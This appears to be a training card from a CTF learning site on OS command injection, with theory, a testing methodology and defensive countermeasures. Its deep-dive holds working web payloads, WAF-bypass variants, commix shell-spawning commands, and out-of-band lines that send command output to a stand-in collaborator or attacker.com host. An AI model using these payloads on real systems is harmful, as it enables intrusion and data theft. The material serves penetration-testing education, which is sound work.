Browse CTFs New CTF Sign in

OS Command Injection: Shell Metacharacter Exploitation for Server-Side Command Execution

web_auth_sessions Difficulty 1–5 30 min certifiable

Theory

Why This Matters

OS command injection is consistently rated as a critical-severity vulnerability because successful exploitation directly yields code execution on the server operating system, bypassing all application-layer controls. CVE-2021-44228 (Log4Shell) demonstrated how command execution can cascade from a single injection point to full infrastructure compromise. Command injection appears regularly in network equipment web interfaces (routers, firewalls, NAS devices), web applications that shell out for utilities like ping, nslookup, or image conversion, and CI/CD pipelines that interpolate branch names or commit messages into shell commands.

Core Concept

OS command injection occurs when user-controlled data is passed to a system shell for execution without proper escaping or isolation. The violated invariant is that user data must never be interpreted as shell syntax. When an application constructs a shell command by string concatenation — e.g., os.system("ping -c 1 " + user_input) — an attacker can append shell metacharacters that alter the command structure.

Key shell metacharacters and their injection semantics: - ; — command separator: execute previous command then execute injected command - && — AND chaining: execute injected command only if previous succeeds - || — OR chaining: execute injected command only if previous fails - | — pipe: pass stdout of previous command as stdin of injected command - `command` or $(command) — command substitution: execute injected command and substitute its output inline - (newline, %0a) — some parsers treat newlines as command separators

The attacker precondition is: the application passes user input to a shell via system(), exec(), popen(), subprocess.call(shell=True), Runtime.exec(new String[]{"sh","-c",cmd}), or equivalent, and does not use argument-array APIs that bypass shell interpretation.

Blind command injection produces no visible output in the response. The three exploitation channels for blind injection are: (1) time-based (sleep 5), (2) out-of-band via DNS (using nslookup $(whoami).attacker.com) or HTTP (using curl http://attacker.com/$(id|base64)), and (3) file-write to a web-accessible path.

Out-of-band (OOB) techniques via Burp Collaborator or interactsh allow confirming blind injection against targets where the response contains no timing information and no file-write location is known.

Technical Deep-Dive

# Verbose command injection — output returned in response
# Application: GET /ping?host=8.8.8.8
# Vulnerable backend: os.system("ping -c 1 " + host)

# Basic injection with semicolon:
GET /ping?host=8.8.8.8;id
# Response body includes: uid=33(www-data) gid=33(www-data)

# Using && (execute only if ping succeeds):
GET /ping?host=8.8.8.8&&cat+/etc/passwd

# Command substitution (backtick or $() equivalent):
GET /ping?host=$(cat+/etc/passwd)
GET /ping?host=`id`

# Blind injection — time-based confirmation:
GET /ping?host=8.8.8.8;sleep+10
# If response is delayed ~10 seconds: injection confirmed

# Blind injection — OOB via DNS with Burp Collaborator:
GET /ping?host=8.8.8.8;nslookup+$(whoami).COLLABORATOR_SUBDOMAIN
# Collaborator receives DNS lookup from target server

# Blind injection — OOB via HTTP (data exfil):
GET /ping?host=8.8.8.8;curl+http://COLLABORATOR/$(id|base64+-w0)
# WAF bypass techniques

# IFS substitution (Internal Field Separator = space by default)
# Replace spaces with ${IFS} when space is blocked:
GET /ping?host=8.8.8.8;cat${IFS}/etc/passwd

# Brace expansion:
GET /ping?host=8.8.8.8;{cat,/etc/passwd}

# Encoding: URL-encode semicolon as %3b, pipe as %7c
GET /ping?host=8.8.8.8%3bwhoami

# Case manipulation (some WAFs are case-sensitive):
GET /ping?host=8.8.8.8;WhOaMi

# Windows-specific (PowerShell):
GET /ping?host=8.8.8.8&whoami          # cmd.exe
GET /ping?host=8.8.8.8;(Get-Content+C:Windowswin.ini)  # PowerShell
# commix automated command injection
commix --url="https://target.example.com/ping?host=INJECT_HERE" 
  --technique=all 
  --os-shell         # attempt to spawn interactive shell

# For blind injection with OOB:
commix --url="https://target.example.com/ping?host=INJECT_HERE" 
  --technique=blind --dns-server=COLLABORATOR_HOST

Security Assessment Methodology

  1. Identify shell-invoking functionality — Look for features that invoke OS utilities: network diagnostics (ping, traceroute, nslookup), file conversion (convert, ffmpeg, ImageMagick), archive handling (zip, tar), or any feature mentioning a CLI tool in its description.
  2. Test metacharacters — Append ;id, &&id, |id, `id`, $(id) to each parameter. Check response bodies for command output (uid/gid strings, file contents).
  3. Test blind injection via sleep — If no output: inject ;sleep 10 and measure response time. Repeat with ;sleep 0 to confirm conditionality.
  4. Use Burp Collaborator for OOB confirmation — Inject ;nslookup COLLABORATOR_SUBDOMAIN and ;curl http://COLLABORATOR/test. Monitor the Collaborator panel for incoming requests.
  5. Test WAF bypass variants — If direct metacharacters are blocked, try ${IFS}, URL encoding, brace expansion, newline (%0a) separators, and case variation.
  6. Run commix for automated enumeration — Use commix against confirmed and suspected injection points for comprehensive metacharacter and technique coverage.
  7. Attempt privilege escalation — Once RCE is confirmed, test sudo -l, SUID binaries (find / -perm -4000), and kernel version (uname -r) to assess escalation potential.

Defensive Countermeasure — Avoid invoking shell interpreters with user data entirely. Use language-native APIs: Python subprocess.run(['ping', '-c', '1', host], shell=False) passes arguments as a list, bypassing shell metacharacter interpretation. PHP should use escapeshellarg() on every argument and escapeshellcmd() on the command. Preferably, replace shell-out calls with native library equivalents (e.g., use a Python ICMP library instead of shelling out to ping). Implement an allowlist of valid input values where possible (e.g., IP address regex validation before any use).

Common Assessment Errors

  • Only testing Linux metacharacters — Windows targets require different syntax (&, |, %COMSPEC%). Failing to test Windows-specific payloads against IIS applications on Windows servers misses the vulnerability.
  • Stopping after sleep confirmation — Confirming blind injection with a sleep delay but not demonstrating data exfiltration underrepresents the impact. Use OOB DNS/HTTP to extract whoami and hostname as proof.
  • Missing argument-context injection — Injection is not always at the end of a command. User input may appear as a flag value (-o user_input), where it may be possible to inject additional flags rather than shell metacharacters (see argument injection).
  • Not testing all encoding variations — A single WAF rule may block ; but not %3b or . Always test URL-encoded variants.
  • Assuming containerisation prevents impact — Even in Docker containers, command injection can lead to container escape via exposed Docker socket mounts or privileged container flags. Always check container context.
  • Forgetting Windows PowerShell — In environments where PowerShell is the default shell, Get-Content, Invoke-Expression, and PowerShell download cradles are available through | and ; separators.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0009 Knowledge of application vulnerabilities Builds precise understanding of shell metacharacter semantics and the application patterns that enable command injection
K0070 Knowledge of system and application security threats and vulnerabilities Covers both Linux and Windows command injection contexts and WAF bypass techniques
S0001 Skill in conducting vulnerability scans Trains commix usage and systematic metacharacter testing methodology
S0044 Skill in mimicking threat behaviors Develops OOB exfiltration and WAF bypass techniques used by real adversaries
T0028 Test system security controls Covers testing of shell-invoking functionality and subprocess API usage
T0591 Perform penetration testing Provides complete command injection methodology from discovery through privilege escalation scoping

Further Reading

  • OS Command Injection — PortSwigger Web Security Academy
  • OWASP Testing Guide v4.2: Testing for Command Injection (OTG-INPVAL-013) — OWASP Foundation
  • commix Documentation and Injection Techniques — Anastasios Stasinopoulos, GitHub

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.